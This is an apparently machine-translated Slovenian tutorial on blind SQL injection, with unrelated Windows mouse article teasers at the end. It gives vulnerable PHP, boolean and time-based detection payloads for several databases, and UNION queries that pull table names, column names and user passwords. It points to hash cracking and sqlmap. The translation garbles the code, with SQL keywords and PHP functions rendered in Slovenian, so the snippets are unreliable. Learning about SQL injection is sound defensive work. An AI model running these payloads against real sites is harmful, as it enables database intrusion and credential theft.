Varnost

Vadnica za tehnike vbrizgavanja slepih SQL

Vadnica za tehnike vbrizgavanja slepih SQL

Kaj je SQL Injection?

SQL Injection je vrsta napada na bazo podatkov, pri kateri napadalec poskuša ukrasti podatke iz baze podatkov spletne aplikacije. To lahko celo privede do oddaljenega izvajanja kode, odvisno od okolja spletne aplikacije in različice baze podatkov.

SQL Injection se zgodi zaradi slabe sanizacije uporabniškega vnosa. Če uporabnik vnese podatke v neki kodni jezik (PHP, ASP.NET) in jo posredujejo neposredno v bazo podatkov strežnika, ne da bi na vhodu uporabili kakršen koli filter, kar lahko povzroči ranljivost SQL Injection.

Na primer, naslednja koda PHP je ranljiva za napad SQL Injection, ker neposredno posreduje uporabniški vnos v bazo podatkov. Napadalec lahko oblikuje lastno zlonamerno poizvedbo baze podatkov za pridobivanje podatkov iz baze podatkov.

// Uporabniški vnos je shranjen v spremenljivki id
$ id = $ _GET ['id'];
// Uporabniški vnos se neposredno izvede v bazi podatkov
$ getid = "IZBERI ime, priimek FROM uporabniki WHERE user_id = '$ id'";
// V primeru napake ali uspeha se rezultati vrnejo uporabniku
$ result = mysql_query ($ getid) ali die ('
" . mysql_error () . "
');
$ num = mysql_numrows ($ rezultat);

Po drugi strani je podan primer varne kode takšne kode za interakcijo z bazo podatkov. Vnese uporabniški vnos in iz njega filtrira vse zlonamerne znake, nato pa jih posreduje v bazo podatkov.

$ id = $ _GET ['id'];
$ id = poševnice ($ id);
$ id = mysql_real_escape_string ($ id);

Običajno vs slepo vbrizgavanje SQL

Običajno vbrizgavanje SQL

Če v navadnem vbrizganju SQL poskuša napadalec postaviti en narekovaj (') kot vhod, ko se ta enojni narekovaj izvede v bazi podatkov, se baza podatkov odzove z napako. Napaka je natisnjena v brskalniku napadalca.

Koda, ki je odgovorna za to napako, je

// če se baza podatkov odzove z napako, se izvrši funkcija “ali die ()”
za tiskanje napake
$ result = mysql_query ($ getid) ali die ('
" . mysql_error () . "
');

V običajnem vbrizganju SQL lahko napadalec vidi rezultate napak in jih je enostavno prepoznati in izkoristiti.

Slepo vbrizgavanje SQL

V primeru vbrizgavanja v slepo SQL, ko se izvede zlonamerna poizvedba, kot je ena ponudba, napaka baze podatkov v brskalniku napadalca ni prikazana ali pa je prikazana na zelo splošen način, ki ga napadalec ne more zlahka prepoznati in izkoristiti.

Zaledna koda, odgovorna za to, je navedena spodaj

$ rezultat = mysql_query ($ getid); // Odstranjen 'ali die' za zatiranje napak mysql

V Blind SQL Injection napadalec ne vidi celotnih rezultatov, zato je to vrsto SQLi težko prepoznati in izkoristiti, vendar ima enako stopnjo tveganja kot običajni SQLi.

Tehnike za odkrivanje slepega vbrizgavanja SQL

Medtem ko je normalno vbrizgavanje SQL mogoče zaznati s pošiljanjem enojnih narekovajev (') kot vhodom in preverjanjem izhodne napake, slepega vbrizgavanja SQL s to tehniko ni mogoče zaznati, ker ne prikaže nobene napake SQL. Obstaja veliko tehnik za zaznavanje slepega vbrizga SQL, nekatere od njih so podane v nadaljevanju

TRUE in FALSE Zaznavanje

Ena od značilnosti baz podatkov, vključno z MySQL, je različno vedenje pri True in False stavkih. Tudi če baza podatkov ne prikazuje nobenih napak, se lahko odločimo za uporabo stavkov True in False. Razmislite o naslednjem scenariju,

Naslednja stran je ranljiva za slepo vbrizgavanje SQL, tako da bo resnični stavek prikazal vse vnose v zbirko podatkov

1 'ali 1 = 1 #

Če podate napačno poizvedbo kot vhod, ne bodo prikazani nobeni podatki.

1 'ali 1 = 2 #

Tudi na spletni strani ni nobenih napak, razlika med obema stranema pove, da se naše poizvedbe uspešno izvajajo v zbirki podatkov.

TIME-zaznano

V podatkovnih bazah je funkcija za zamude, vključno z MySQL, MS-SQL in drugimi. V naši poizvedbi lahko uporabimo funkcijo SLEEP (), če je odziv baze podatkov počasen, kar pomeni, da je naša poizvedba uspešno izvedena in je spletna stran ranljiva za slepo vbrizgavanje SQL.

1 'IN spanje (15) #

Obstaja še ena zamudna funkcija "BENCHMARK", ki jo lahko uporabimo za zakasnitev odziva baze podatkov

1 'IN BENCHMARK (10000000, SHA1 (1337)) #

Zgornja vrstica bo izvedla funkcijo SHA1 () 10000000-krat v zbirki podatkov, kar bo povzročilo znatno zamudo pri odzivu.

Časovno vbrizgavanje slepega SQL v druge zbirke podatkov

MS SQL: ID = 1; čakanje na zamudo '0: 0: 10'-

ORACLE SQL: IN [RANDNUM] = DBMS_PIPE.RECEIVE_MESSAGE ('[RANDSTR]', [SLEEPTIME])

PostgreSQL: IN [RANDNUM] = (SELECT [RANDNUM] FROM PG_SLEEP ([SLEEPTIME]))

SQLite: IN [RANDNUM] = LIKE ('ABCDEFG', ZGORNJE (ŠEST. ŠEST. (RANDOMBLOB ([SLEEPTIME] 00000000/2))))

Pridobivanje podatkov iz zbirke podatkov

Prvi korak pridobivanja baze podatkov je določanje številk stolpcev v bazi podatkov. Nato poskusite najti ranljive stolpce za pridobivanje nadaljnjih podatkov.

Slepo vbrizgavanje SQL se ob različnih številkah stolpcev ob poizvedbi »razvrsti po« obnaša drugače.

1 'naročilo po 1 #

Zgornja izjava je resnična, ker v bazi podatkov vedno obstaja vsaj 1 stolpec. Zdaj poskusite z zelo velikim številom.

1 'naročilo 10000 #

Odziv baze podatkov se razlikuje od prejšnjega. Zdaj poskusite z dvema stolpcema.

Izjava je delovala, kar pomeni, da ima baza podatkov 2 ali več stolpcev. Zdaj poskusite s 3 stolpci.

1 'naročilo po 3 #

Baza podatkov ni poslala nobenega odgovora, kar pomeni, da ima baza podatkov samo dva stolpca. Zdaj bomo poskusili razvrstiti seznam tabel v bazo podatkov, za to bomo uporabili naslednjo poizvedbo

1 'združitev vseh izberite 1, group_concat (ime_tabele) iz sheme information_schema.
tabele, kjer je table_schema = database () #

V zaledni bazi podatkov "knjiga gostov in uporabniki" sta dve tabeli. Tabela "uporabniki" lahko vsebuje uporabniška imena in gesla. Če želite iz tabele izvleči imena stolpcev, vstavite naslednjo poizvedbo.

1 'združitev vseh izberite 1, group_concat (ime_ stolpca) iz sheme information_schema.
stolpci, kjer je table_schema = database () #

Zdaj smo izvlekli imena stolpcev, to vključuje stolpce uporabnikov in gesel. V teh stolpcih so shranjena uporabniška imena strank in njihova gesla.

Zdaj bomo poskušali izvleči podatke s pomočjo naslednje poizvedbe

1 'union all select 1, group_concat (uporabnik, geslo) od uporabnikov #

In tako lahko izkoristite Blind SQL Injection, ne da bi se zanašali na napake. Izhodna gesla se večino časa zgostijo, kar je mogoče dešifrirati z orodji, kot sta John The Ripper ali Hashcat.

Zaključek:

Slepo vbrizgavanje SQL je vrsta SQLi, ki ne prikazuje napak baze podatkov ali se odzove z zelo splošnim sporočilom. Zato je zelo težko prepoznati ranljivost slepega SQL Injection na spletni strani. Ko ga zaznate, ga lahko enostavno izkoristite z ročnim ali avtomatiziranim postopkom s pomočjo SQLmap.

Srednji gumb miške ne deluje v sistemu Windows 10
The srednji gumb miške vam pomaga, da se pomikate po dolgih spletnih straneh in zaslonih z veliko podatkov. Če se to ustavi, boste na koncu uporabili ...
Kako spremeniti levi in ​​desni gumb miške na računalniku z operacijskim sistemom Windows 10
Povsem normalno je, da so vse naprave računalniške miške ergonomsko zasnovane za desničarje. Na voljo pa so miške, ki so posebej zasnovane za levičarj...
Posnemajte klike miške tako, da v Windows 10 lebdite z miško Clickless Mouse
Uporaba miške ali tipkovnice v napačni drži čezmerne uporabe lahko povzroči veliko zdravstvenih težav, vključno s sevom, sindromom karpalnega kanala i...